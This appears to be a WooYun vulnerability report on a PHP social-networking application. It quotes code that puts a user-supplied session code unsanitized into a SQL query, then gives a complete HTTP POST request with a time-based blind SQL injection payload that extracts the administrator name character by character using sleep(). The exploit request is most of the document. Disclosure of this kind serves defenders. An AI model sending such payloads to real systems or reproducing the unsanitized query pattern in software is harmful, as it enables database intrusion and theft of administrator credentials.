WooYun.org

无关代码
$event_id=intval(get_argg('id'));
$session_code=get_argp('sess_code');
$success = "false";
$data ='';
$data_ser='';
$affair_ser='';
$code_array=array();
$errors = array();
$album_row=array();
$fs=array();
$data_array=array();
$affair_array=array();
$session_data=array();
//数据表
$t_event=$tablePreStr."event";
$t_event_photo = $tablePreStr."event_photo";
$t_online = $tablePreStr."online";
$t_tmp_file = $tablePreStr."tmp_file";
$dbo = new dbex;
//读写分离定义函数
dbtarget('r',$dbServs);
//验证用户权限
if(empty($session_code)){
	$success = "false";
	exit;
}
$code_array=explode("|",$session_code);
$sql="select user_id,user_name,user_ico,session_code from $t_online where user_id=$code_array[1]";
$user_row=$dbo->getRow($sql);
if(empty($user_row)){
	$success = "false";exit;
}
无关代码

$code_array=explode("|",$session_code);
$sql="select user_id,user_name,user_ico,session_code from $t_online where user_id=$code_array[1]";
$user_row=$dbo->getRow($sql);

POST /do.php?act=event_upload_photo HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=user_info&is_finish=1
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; iweb_email=xxxx@163.com; PHPSESSID=5j1qplgaimc7dgcqt3n109qgj1; IsReged=Y
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
id=1&sess_code=2|-1 or (select if(ord(mid((select admin_name from isns_admin where admin_id=1 limit 0,1),1,1))=0x7a,sleep(3),0))